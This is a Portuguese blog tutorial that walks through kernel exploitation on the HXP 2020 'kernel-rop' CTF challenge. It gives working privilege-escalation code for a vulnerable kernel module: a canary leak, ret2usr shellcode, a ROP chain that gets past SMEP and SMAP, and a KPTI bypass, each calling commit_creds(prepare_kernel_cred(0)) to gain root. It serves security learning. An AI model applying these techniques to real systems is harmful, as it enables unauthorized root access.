+------------------------------+
| |
| Userland (normie and beta) |
| |
+------------------------------+
| | |
+-------v-------v------v-------+
| |
| Kernel (chad and alpha) |
| |
+------------------------------+
| | |
+-------v-------v------v-------+
| |
| Hardware (boring real life) |
| |
+------------------------------+
Ao estudar pwn (ou qualquer área dentro de ciências da computação), a simples ideia de Kernel é assustadora, um software que lida diretamente com hardware e precisa resolver diversos problemas extremamente complexos, como manejar filesystems, multi processos divididos simultaneamente entre multi núcleos do processador, paginação de memória, sockets e rede, etc. Com esse nível de complexidade, explorar um software dessa magnitude deve ser quase impossível, não? Pelo contrário, o nível de complexidade e a necessidade de alto desempenho possibilitam a existência de falhas, um problema complexo exige uma solução complexa, e uma solução complexa a longo prazo implica — quase necessariamente — á falhas de segurança.
Para entender como é a anatomia de um exploit para kernel, irei usar um challenge de CTF simples, futuramente podemos trazer a exploração detalhada de uma falha real no Kernel Linux.
O challenge mais usado quando queremos introduzir kernel pwn é o kernel-rop do HXP 2020, nele temos uma falha muito simples e obvia que nos permite read/write na stack.
Primeiro vamos nos acostumar como recebemos os arquivos em um chall de kernel:
# Download files
$ wget https://2020.ctf.link/assets/files/kernel-rop-bf9c106d45917343.tar.xz
$ xz -d kernel-rop-bf9c106d45917343.tar.xz && tar xf kernel-rop-bf9c106d45917343.tar
$ echo 'CTF-BR{kernel-is-fun}' > kernel-rop/flag.txt # need for run script
Agora vamos olhar os arquivos que recebemos:
run.sh
vmlinuz
file vmlinuz
recebemos isso: “vmlinuz: Linux kernel x86 boot executable bzImage”, basicamente é um formato comprimido do kernel, que vale a pena ressaltar, o kernel Linux é um grande ELF, e podemos extrair o vmlinuz(ou algumas vezes chamado bzImage) para um ELF executando:$ wget https://raw.githubusercontent.com/ameetsaahu/Kernel-exploitation/main/seccon2020-kstack/extract-image.sh
$ bash extract-image.sh vmlinuz > vmlinux
initramfs.cpio.gz
Visto isso, podemos rodar o script de start, o run.sh
:
$ ./run.sh
...
___ __ __ ___ __ _
/ __\_ _ / _|/ _| ___ _ __ /___\__ _____ _ __ / _| | _____ __
/__\// | | | |_| |_ / _ \ '__| // //\ \ / / _ \ '__| |_| |/ _ \ \ /\ / /
/ \/ \ |_| | _| _| __/ | / \_// \ V / __/ | | _| | (_) \ V V /
_____ _____ ____\_____/\__,_|_| |_| \___|_| \___/ \_/ \___|_| |_| |_|\___/ \_/\_/____ _____ _____
|_____|_____|_____| |_____|_____|_____|
__ _____
\ \ / / __|
\ V /\__ \
_____ _____ _____ _____ _____ _____ _____ ____\_/ |___/____ _____ _____ _____ _____ _____ _____ _____ _____
|_____|_____|_____|_____|_____|_____|_____|_____| |_____|_____|_____|_____|_____|_____|_____|_____|_____|
_ _ _ _ ___ __
/\ /\___ | |_| |_ ___ ___| |_ /\ /\___ _ __ _ __ ___| | / \___ / _| ___ _ __ ___ ___ ___
/ /_/ / _ \| __| __/ _ \/ __| __| / //_/ _ \ '__| '_ \ / _ \ | / /\ / _ \ |_ / _ \ '_ \/ __|/ _ \/ __|
/ __ / (_) | |_| || __/\__ \ |_ / __ \ __/ | | | | | __/ | / /_// __/ _| __/ | | \__ \ __/\__ \
\/ /_/ \___/ \__|\__\___||___/\__| \/ \/\___|_| |_| |_|\___|_| /___,' \___|_| \___|_| |_|___/\___||___/
/ $ id
uid=1000 gid=1000 groups=1000
/ $ ls
bin etc init proc sbin usr
dev hackme.ko linuxrc root tmp
/ $
O challenge se baseia neste hackme.ko
, ele é um módulo de kernel, usado para carregar código dinamicamente para kernel land.
Agora podemos explorar o initramfs:
$ gzip -d initramfs.cpio.gz
$ mkdir -p root && cd root
$ cpio -idm < ../initramfs.cpio
2720 blocks
$ ls -la
total 1704
drwxrwxr-x 7 r3tr0 r3tr0 4096 jul 30 23:19 .
drwx------ 3 r3tr0 r3tr0 4096 jul 30 23:18 ..
drwxr-xr-x 2 r3tr0 r3tr0 4096 jul 30 23:19 bin
drwxr-xr-x 3 r3tr0 r3tr0 4096 jul 30 23:19 etc
-rw-r--r-- 1 r3tr0 r3tr0 321016 dez 10 2020 hackme.ko
lrwxrwxrwx 1 r3tr0 r3tr0 11 jul 30 23:19 init -> bin/busybox
drwxr-xr-x 2 r3tr0 r3tr0 4096 dez 10 2020 root
drwxr-xr-x 2 r3tr0 r3tr0 4096 dez 10 2020 sbin
drwxr-xr-x 4 r3tr0 r3tr0 4096 jul 30 23:19 usr
É importante extrair o filesystem por vários motivos, como analisar o modulo vulnerável caso não tenha sido fornecido o source(como neste caso) e também modificar o script de init(o path normalmente é /init
, mas pode mudar dependendo do setup, como nesse challenge), isso é importante para se tornar root dentro do qemu durante os testes para realizar debugs, extrair endereços, etc.
$ nvim etc/inittab # change "setuidgid 1000 sh" to "setuidgid 0 sh"
$ find . -print0 | cpio -o --format=newc --null > ../initramfs_update.cpio
$ cd ..
$ nvim run.sh # change "-initrd initramfs.cpio.gz" to "-initrd initramfs_update.cpio"
$ ./run.sh
...
/ # id
uid=0 gid=0 groups=0
Como root podemos ler arquivos de debug, como:
/proc/kallsyms
: Lista com todos os simbolos e endereços do kernel;/sys/module/core/sections/.text
: Endereço da .text do kernel;/sys/module/{module name}/sections/.{text,data,bss}
: .text, data e bss de qualquer módulo, por exemplo, o modulo vulnerável;É também interessante explicar as flags passadas para o qemu no run.sh antes de passar para ideias mais teóricas de kernel, as principais flags são:
-m
: define a quantidade de memória oferecida para a VM.-cpu
: escolhe o modelo da cpu e também é possível passar algumas flags como +smep
, +smap
, mitigações que vão ser explicadas mais a frente.-initrd
: path para o initramfs-kernel
: path para o kernel-append
: flags de boot, também usadas para ligar ou desligar mitigações.Em suma, a diferença entre kernel e userland é o nível de privilégio, o kernel possui necessariamente o nível de privilégio mais alto enquanto os usuários tem um acesso restrito, isso não tem nenhuma relação com privilégios de usuários como root ou algo semelhante, esse nível de privilégio está ligado ao poder da CPU, como acessar endereços especiais, escrever e ler de portas IO físicas diretamente e poder executar instruções especiais.
/kernelfile
, porem se você tiver como executar código privilegiado, não existiria restrição para escrever nesse tal arquivo.Mas o que exatamente é esse privilégio? A CPU define alguns registradores de controle geral(semelhante ao rflags e o próprio rflags também) e dependendo de alguns bits é permitido essas operações privilegiadas. Na arquitetura x86/x86-64 temos um registrador especial chamado cs(code segment), onde nos 2 LSB’s(least significant bit) temos o CPL(current privilege level), que normalmente possui o valor de 0 ou 3, e então surge os termos ring-0 ou ring-3, esse é apenas um registrador de controle, existem vários como os cr{0..7} e o próprio rflags.
cmp
, um deles é o IOPL (I/O Privilege level) que ocupa os bits 12-13, essa flag controla o privilégio de comunicação com IO’s, isso é, comunicar diretamente com hardware, supondo que você possa ganhar esse privilegio você poderia ler e escrever diretamente no HD sem o kernel como intermediário, como no exemplo de privilégio de usuários. O LiveOverflow tem um video de writeup exatamente desse bug em um kernel POSIX semelhante ao Linux.Compreendido esses aspectos, iremos voltar para o challenge e analisar a vulnerabilidade.
O kernel module cria um device em /dev/hackme
e implementa handlers para open, read e write, o código é bem simples, então não há muitas dificuldades de compreender oque ele faz:
ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off) {
...
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
...
_memcpy(hackme_buf, tmp);
if (size > 0x1000) { // """sanity check""""
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x1000LL, size);
BUG();
}
_check_object_size(hackme_buf, size, 1LL);
if (copy_to_user(data, hackme_buf, size) != 0)
return -0xe;
return size;
}
O código acima parece confuso por conta das funções estranhas, mas é bem simples, em resumo copiamos tmp
para hackme_buf
, e depois chamamos copy_to_user
para o buffer de userland. As funções copy_{to,from}_user são apenas wrappers para memcpy entre buffers de userland e kernel land(removemos temporariamente a proteção mudando o bit 21 do CR4).
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size,
loff_t *off) {
...
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
...
if (size > 0x1000) { // """sanity check""""
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x1000LL, size);
BUG();
}
_check_object_size(hackme_buf, size, 0LL);
if (copy_from_user(hackme_buf, data, size))
return -0xe;
_memcpy(tmp, hackme_buf);
return size;
}
A função de write é bem semelhante, mas na direção contrária, temos um memcpy do buffer de usarland para a stack do kernel. Então, a vulnerabilidade é bem clara, podemos ler e escrever out-off-band na stack, ou seja, um stack overflow e leaks arbitrários.
Em um cenário de userland isso seria trivial, mas não existe system(”/bin/sh”)
ou setuid(0)
em kernel land, as técnicas de privilege escalation são um pouco diferentes.
Como explicado anteriormente, a ideia de usuários é uma implementação do kernel, então ao conseguir um desvio de fluxo, nosso objeto vai ser transformar as credenciais do nosso processo para uid=0, poderíamos fazer isso manualmente tentando encontrar onde está a struct cred
na heap do kernel e sobrescrever o campo uid, mas existem caminhos mais simples aproveitando funções da kernel API, como as usadas para “give root” em rootkits, exemplos: brokepkg, diamorphine e Reptile. Nosso exploit vai ter o objetivo de chamar as seguintes funções commit_creds(prepare_kernel_cred(0));
.
-append
.kernel panic
ao invés de um abort()
. Como essa é uma feature do compilador, não há como “desligar” o Canary após a compilação.creds
atuais ou simplesmente sobrescrevendo elas com algo como: mov [my_creds_addr], 0
. Isso é controlado com o 20º bit do cr4. No nosso script podemos ativar essa feature com +smep
em -cpu
e desativando com nosmep
em -append
.stack pivot
. O SMAP é controlado com o 21º bit do cr4 e podemos ativá-la com +smap
em -cpu
e desativando com nosmap
em -append
.NULL pointer dereference
mapeando a memória 0x0000-0x1000, por exemplo. Isso não é mais explorável desde que não é mais possível mapear o endereço 0x0000.exec-only
para evitar fazer todo o processo de page address swich
e abusando de falhas como Spectre podiamos ler esses endereços para vazar o KASLR. O kpti força um swich de páginas para kernel e userland, não vou entrar a fundo nesse assunto, mas pode pesquisar sobre o gerenciamento de páginas de mapeamento de memória. Podemos ligar ou desligar essa feature com kpti=1
ou nopti
na flag -append
.A técnica ret2usr é bem simples, sem nenhuma das proteções comentadas ativadas, não existe nenhum problema em executar código de userland, mas com os privilégios do kernel, o objetivo é fazer o desvio de fluxo(ret2) para código em userland(usr). Fazendo uma comparação, é como um binário sem NX em userland, podemos escrever um shellcode na stack, mas ao invés de ser na stack, é no código de userland.
Agora vamos para a melhor parte, r00t n0w! Vou acompanhar e comentar cada parte da construção do exploit, neste primeiro todas as mitigações vão estar desligadas (nokaslr
, nopti
e remover +smep
e +smap
):
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64 \
-kernel vmlinuz \
-initrd ./initramfs_update.cpio \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nokaslr nopti quiet panic=1"
O começo do exploit muitas vezes será algo como:
unsigned long bak_cs, bak_rflags, bak_ss, bak_rsp, bak_rip;
void bak() {
__asm__ volatile(
".intel_syntax noprefix;"
"mov bak_cs, cs;"
"mov bak_ss, ss;"
"mov bak_rsp, rsp;"
"pushf;"
"pop bak_rflags;"
".att_syntax;");
puts("[+] Registers backed up");
}
Essa é a primeira função que chamamos, basicamente estamos salvando os valores dos registradores mais importantes para o estado do programa, quando voltamos do kernel, todos esses registradores precisam estar na stack.
#define CANARY_OFF 16
void leak() {
unsigned long buf[20];
read(dev, buf, sizeof(buf));
// print_dump(buf, 20);
cookie = buf[CANARY_OFF];
}
Na função leak, lemos do fd
do device vulnerável 160 bytes(sizeof(unsigned long) == 8 * 20
) e pegamos o cookie no offset 16, poderíamos chegar nesse offset apenas vendo o print_dump
e tentando achar o padrão do cookie — igual em userland, o cookie é muito diferente de um endereço e sempre acaba com 00
— ou com debug.
void write_payload() {
unsigned long payload[50];
off_t offset = 16;
// finding padding
// for (size_t i = 0; i < 50; i++) {
// payload[i] = 0x414141414140+i;
// }
payload[offset++] = cookie;
payload[offset++] = 0x0; // rbx
payload[offset++] = 0x0; // r12
payload[offset++] = 0x0; // rbp
payload[offset++] = (long)shellcode; // return
write(dev, payload, sizeof(payload));
}
E a última interação que precisamos com o device é esse write, como temos oob
na stack, apenas precisamos chegar até o endereço de retorno e escrever o endereço do nosso shellcode, assim como explicado anteriormente, nesta parte podemos fazer debug para achar o offset ou usar o código comentado, pegamos um valor junk e ver no kernel panic
qual o endereço que ocorreu o crash, ou podemos também usar o offset do stack cookie e simplesmente calcular o que vem depois, que são 3 pop’s e o ret
.
void bin_sh() {
printf("[+] uid: %d\n", getuid());
system("/bin/sh");
}
unsigned long bak_rip = (unsigned long)bin_sh;
void shellcode() {
__asm__ volatile(
".intel_syntax noprefix;"
"mov rdi, 0;"
"movabs rbx, 0xffffffff814c67f0;" // prepare_kernel_cred
"call rbx;"
"mov rdi, rax;"
"movabs rbx, 0xffffffff814c6410;" // commit_creds
"call rbx;"
"swapgs;"
"mov r15, bak_ss;"
"push r15;"
"mov r15, bak_rsp;"
"push r15;"
"mov r15, bak_rflags;"
"push r15;"
"mov r15, bak_cs;"
"push r15;"
"mov r15, bak_rip;"
"push r15;"
"iretq;"
".att_syntax;");
}
Podemos pegar de forma simples esses endereços dentro da VM lendo /proc/kallsyms
:
/ # grep 'prepare_kernel_cred\|commit_creds' /proc/kallsyms
ffffffff814c6410 T commit_creds
ffffffff814c67f0 T prepare_kernel_cred
...
Nosso shellcode é bem simples, sem o KASLR simplesmente pegamos esses endereços que precisamos e chamamos “prepare cred” e “commit creds”, depois de fazer push dos registradores especiais que salvamos no começo e então retornamos para userland como root com a instrução iretq
.
Para compilar e colocar dentro da VM podemos fazer isso:
$ gcc -Wall -static -s exploit.c -o root/exp && cd root
$ find . -print0 | cpio -o --format=newc --null > ../initramfs_update.cpio
E então rodar o exploit:
./run.sh
/ ___ __ __ ___ __ _
/ __\_ _ / _|/ _| ___ _ __ /___\__ _____ _ __ / _| | _____ __
/__\// | | | |_| |_ / _ \ '__| // //\ \ / / _ \ '__| |_| |/ _ \ \ /\ / /
/ \/ \ |_| | _| _| __/ | / \_// \ V / __/ | | _| | (_) \ V V /
_____ _____ ____\_____/\__,_|_| |_| \___|_| \___/ \_/ \___|_| |_| |_|\___/ \_/\_/____ _____ _____
|_____|_____|_____| |_____|_____|_____|
__ _____
\ \ / / __|
\ V /\__ \
_____ _____ _____ _____ _____ _____ _____ ____\_/ |___/____ _____ _____ _____ _____ _____ _____ _____ _____
|_____|_____|_____|_____|_____|_____|_____|_____| |_____|_____|_____|_____|_____|_____|_____|_____|_____|
_ _ _ _ ___ __
/\ /\___ | |_| |_ ___ ___| |_ /\ /\___ _ __ _ __ ___| | / \___ / _| ___ _ __ ___ ___ ___
/ /_/ / _ \| __| __/ _ \/ __| __| / //_/ _ \ '__| '_ \ / _ \ | / /\ / _ \ |_ / _ \ '_ \/ __|/ _ \/ __|
/ __ / (_) | |_| || __/\__ \ |_ / __ \ __/ | | | | | __/ | / /_// __/ _| __/ | | \__ \ __/\__ \
\/ /_/ \___/ \__|\__\___||___/\__| \/ \/\___|_| |_| |_|\___|_| /___,' \___|_| \___|_| |_|___/\___||___/
/ $ /exp
[+] Registers backed up
[+] Interacting with device
[+] uid: 0
/ # id
uid=0 gid=0
/ #
Você pode ler o exploit completo aqui.
Muito fácil, não? Então melhor subir um pouco o nível 😈.
Como citado nas mitigações, agora não temos mais como executar um shellcode, e se você conhece pwn o suficiente, sabe o que vem depois do shellcode, hora de construir uma ROP-chain! O kernel do linux é muito grande (muito muito muito grande), encontrar gadgets é uma tarefa quase que trivial, nosso objetivo vai ser executar o mesmo que o nosso shellcode: commit_creds(prepare_kernel_cred(0));
.
Mudamos o script para:
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd ./initramfs_update.cpio \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nokaslr nopti quiet panic=1"
Para pesquisar os gadgets podemos usar qualquer tool, mas eu prefiro o ROPgadget por ele conseguir encontrar mais gadgets importantes para exploração de kernel, mas é bom guardar o resultado em um arquivo para pesquisa futura, pois é um processo demorado(o ROPgadget pode demorar até 20 minutos em uma máquina não muito potente):
# vmlinux => ELF file, not "boot executable bzImage"
$ ROPgadget --binary ./vmlinux > gadgets.txt
$ wc -l gadgets.txt
624250 gadgets.txt
Antes de procurar os gadgets precisamos traçar um plano, precisamos essencialmente fazer 3 coisas e depois retornar para userland:
prepare_kernel_cred
com o argumento 0: pop rdi; ret
;prepare_kernel_cred
para rdi
: mov rdi, rax
;commit_creds
com o retorno de prepare_kernel_cred
: ret
;swapgs; ret; iretq
;Agora que temos um plano, é hora de ir atrás dos gadgets:
$ grep ': pop rdi ; ret$' gadgets.txt
0xffffffff81006370 : pop rdi ; ret
$ grep ': mov rdi, rax' gadgets.txt
...
0xffffffff8166fea3 : mov rdi, rax ; jne 0xffffffff8166fe73 ; pop rbx ; pop rbp ; ret
...
$ grep ': swapgs' gadgets.txt
...
0xffffffff8100a55f : swapgs ; pop rbp ; ret
$ objdump -j .text -d vmlinux | grep iretq | head -1
ffffffff8100c0d9: 48 cf iretq
E simples assim temos todos os gadgets que precisamos, certo? Não exatamente… Não temos gadgets bons para mov rdi, rax
, o mais interessante é esse seguido de jne
, para não tomar esse pulo será necessário mais um gadget de cmp
para forçar que jne
seja falso e então seguir o fluxo da ROP-chain.
$ grep ': cmp rdx' gadgets.txt
...
0xffffffff81964cc4 : cmp rdx, 8 ; jne 0xffffffff81964cb3 ; pop rbx ; pop rbp ; ret
...
$ grep ': pop rdx ; ret' gadgets.txt
0xffffffff81007616 : pop rdx ; ret
...
E agora sim, temos tudo que será necessario, mãos ao exploit novamente:
unsigned long mov_rdi_rax = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe73 ; pop rbx ; pop rbp ; ret
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_8 = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long pop_rdi = 0xffffffff81006370; // pop rdi; ret
unsigned long iretq = 0xffffffff8100c0d9; // iretq
unsigned long swapgs = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long commit_creds = 0xffffffff814c6410;
Coletamos todos os endereços dos gadgets que serão necessários e os endereços das funções também. A unica função diferente do exploit anterior será a write_payload
:
void write_payload() {
unsigned long payload[50];
off_t offset = 16;
// finding padding
// for (size_t i = 0; i < 50; i++) {
// payload[i] = 0x414141414140+i;
// }
payload[offset++] = cookie;
payload[offset++] = 0x0; // rbx
payload[offset++] = 0x0; // r12
payload[offset++] = 0x0; // rbp
payload[offset++] = pop_rdi;
payload[offset++] = 0x0;
payload[offset++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[offset++] = pop_rdx_ret; // prepare_kernel_cred(0)
payload[offset++] = 8; // prepare_kernel_cred(0)
payload[offset++] = cmp_rdx_8; // prepare_kernel_cred(0)
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = mov_rdi_rax;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[offset++] = swapgs;
payload[offset++] = 0;
payload[offset++] = iretq;
payload[offset++] = bak_rip;
payload[offset++] = bak_cs;
payload[offset++] = bak_rflags;
payload[offset++] = bak_rsp;
payload[offset++] = bak_ss;
write(dev, payload, sizeof(payload));
}
Podemos analisar por partes essa ROP.
Primeiro chamamos a prepare_kernel_cred
com 0 como argumento usando pop rdi; ret
:
payload[offset++] = cookie;
payload[offset++] = 0x0; // rbx
payload[offset++] = 0x0; // r12
payload[offset++] = 0x0; // rbp
payload[offset++] = pop_rdi;
payload[offset++] = 0x0;
payload[offset++] = prepare_kernel_cred; // prepare_kernel_cred(0)
Depois usamos as duas instruções que pegamos depois para forçar o jne
, com elas colocamos na stack o valor 8 e pop
para rdx, e na segunda instrução é feito um cmp rdx, 8
.
payload[offset++] = pop_rdx_ret; // prepare_kernel_cred(0)
payload[offset++] = 8; // prepare_kernel_cred(0)
payload[offset++] = cmp_rdx_8; // prepare_kernel_cred(0)
Agora finalmente conseguimos chamar mov rdi, rax
para passar o retorno de prepare_kernel_cred
(rax) para o registrador do primeiro argumento(rdi).
// mov rdi, rax ; jne 0xffffffff8166fe73 ; pop rbx ; pop rbp ; ret
payload[offset++] = mov_rdi_rax;
payload[offset++] = 0; // pop rbx, junk
payload[offset++] = 0; // pop rbp, junk
payload[offset++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
Por final temos apenas que chamar as últimas instruções de return para userland:
payload[offset++] = swapgs;
payload[offset++] = 0;
payload[offset++] = iretq;
payload[offset++] = bak_rip;
payload[offset++] = bak_cs;
payload[offset++] = bak_rflags;
payload[offset++] = bak_rsp;
payload[offset++] = bak_ss;
Agora basta: compilar e executar:
$ gcc -Wall -static -s exploit.c -o root/exp && cd root
$ find . -print0 | cpio -o --format=newc --null > ../initramfs_update.cpio && cd ..
$ ./run.sh
___ __ __ ___ __ _
/ __\_ _ / _|/ _| ___ _ __ /___\__ _____ _ __ / _| | _____ __
/__\// | | | |_| |_ / _ \ '__| // //\ \ / / _ \ '__| |_| |/ _ \ \ /\ / /
/ \/ \ |_| | _| _| __/ | / \_// \ V / __/ | | _| | (_) \ V V /
_____ _____ ____\_____/\__,_|_| |_| \___|_| \___/ \_/ \___|_| |_| |_|\___/ \_/\_/____ _____ _____
|_____|_____|_____| |_____|_____|_____|
__ _____
\ \ / / __|
\ V /\__ \
_____ _____ _____ _____ _____ _____ _____ ____\_/ |___/____ _____ _____ _____ _____ _____ _____ _____ _____
|_____|_____|_____|_____|_____|_____|_____|_____| |_____|_____|_____|_____|_____|_____|_____|_____|_____|
_ _ _ _ ___ __
/\ /\___ | |_| |_ ___ ___| |_ /\ /\___ _ __ _ __ ___| | / \___ / _| ___ _ __ ___ ___ ___
/ /_/ / _ \| __| __/ _ \/ __| __| / //_/ _ \ '__| '_ \ / _ \ | / /\ / _ \ |_ / _ \ '_ \/ __|/ _ \/ __|
/ __ / (_) | |_| || __/\__ \ |_ / __ \ __/ | | | | | __/ | / /_// __/ _| __/ | | \__ \ __/\__ \
\/ /_/ \___/ \__|\__\___||___/\__| \/ \/\___|_| |_| |_|\___|_| /___,' \___|_| \___|_| |_|___/\___||___/
/ $ /exp
[+] Registers backed up
[+] Interacting with device
[+] uid: 0
/ # id
uid=0 gid=0
/ #
O exploit completo pode ser encontrado aqui.
O KPTI pode ser bypassado de forma trivial, já que o objetivo desta feature é originalmente mitigar vulnerabilidades como Meltdown
e Spectre
, tanto que quando o KPTI acusa um erro, acontece um segmentation fault
em userland e não um kernel panic
como as últimas mitigações de kernel, isso acontece porque enquanto não retornamos efetivamente para userland, todas as paginas de fora do kernel são marcadas como no-exec
, normalmente existem duas técnicas contornar para isso:
SIGSEGV
;swapgs
e iretq
por swapgs_restore_regs_and_return_to_usermode
na ROP-chain;Irei usar essa segunda forma por ser mais simples, para pegar o endereço dessa função basta ler de /proc/kallsyms
:
/ #
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
Em exploit’s é normal somar +22 nesse endereço pois o stackframe dessa função é exageradamente grande, então para evitar precisar colocar muitos valores de junk na stack podemos apenas pular isso.
# Inicio da função
(gdb) x/20i 0xffffffff81200f10
0xffffffff81200f10 <_stext+2101008>: pop r15
0xffffffff81200f12 <_stext+2101010>: pop r14
0xffffffff81200f14 <_stext+2101012>: pop r13
0xffffffff81200f16 <_stext+2101014>: pop r12
0xffffffff81200f18 <_stext+2101016>: pop rbp
0xffffffff81200f19 <_stext+2101017>: pop rbx
0xffffffff81200f1a <_stext+2101018>: pop r11
0xffffffff81200f1c <_stext+2101020>: pop r10
0xffffffff81200f1e <_stext+2101022>: pop r9
0xffffffff81200f20 <_stext+2101024>: pop r8
0xffffffff81200f22 <_stext+2101026>: pop rax
0xffffffff81200f23 <_stext+2101027>: pop rcx
0xffffffff81200f24 <_stext+2101028>: pop rdx
0xffffffff81200f25 <_stext+2101029>: pop rsi
0xffffffff81200f26 <_stext+2101030>: mov rdi,rsp # <- swapgs_restore+22
0xffffffff81200f29 <_stext+2101033>: mov rsp,QWORD PTR gs:0x6004
0xffffffff81200f32 <_stext+2101042>: push QWORD PTR [rdi+0x30]
0xffffffff81200f35 <_stext+2101045>: push QWORD PTR [rdi+0x28]
0xffffffff81200f38 <_stext+2101048>: push QWORD PTR [rdi+0x20]
0xffffffff81200f3b <_stext+2101051>: push QWORD PTR [rdi+0x18]
A única diferença para o último exploit será isso:
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long swapgs_restore = 0xffffffff81200f10 + 22; // <-
...
payload[offset++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[offset++] = swapgs_restore; // swapgs -> swapgs_restore
payload[offset++] = 0;
payload[offset++] = 0; // iretq -> 0
payload[offset++] = bak_rip;
payload[offset++] = bak_cs;
payload[offset++] = bak_rflags;
payload[offset++] = bak_rsp;
payload[offset++] = bak_ss;
E o script de run agora fica assim:
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd ./initramfs_update.cpio \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nokaslr kpti=1 quiet panic=1"
O exploit completo pode ser encontrado aqui.
Em um futuro post a parte será explorado o KASLR, o bypass é mais complexo do que se parece.
Kernel é sempre um sistema crítico e com diversos estudos na área, explorar é uma ótima maneira de aprender como esses softwares funcionam por dentro, e entender isso é útil para qualquer área dentro de ciências da computação, principalmente pwn. Para qualquer duvida, feedback ou dificuldade para realizar o challenge não hesite em me contatar. Muito obrigado pelo seu tempo de leitura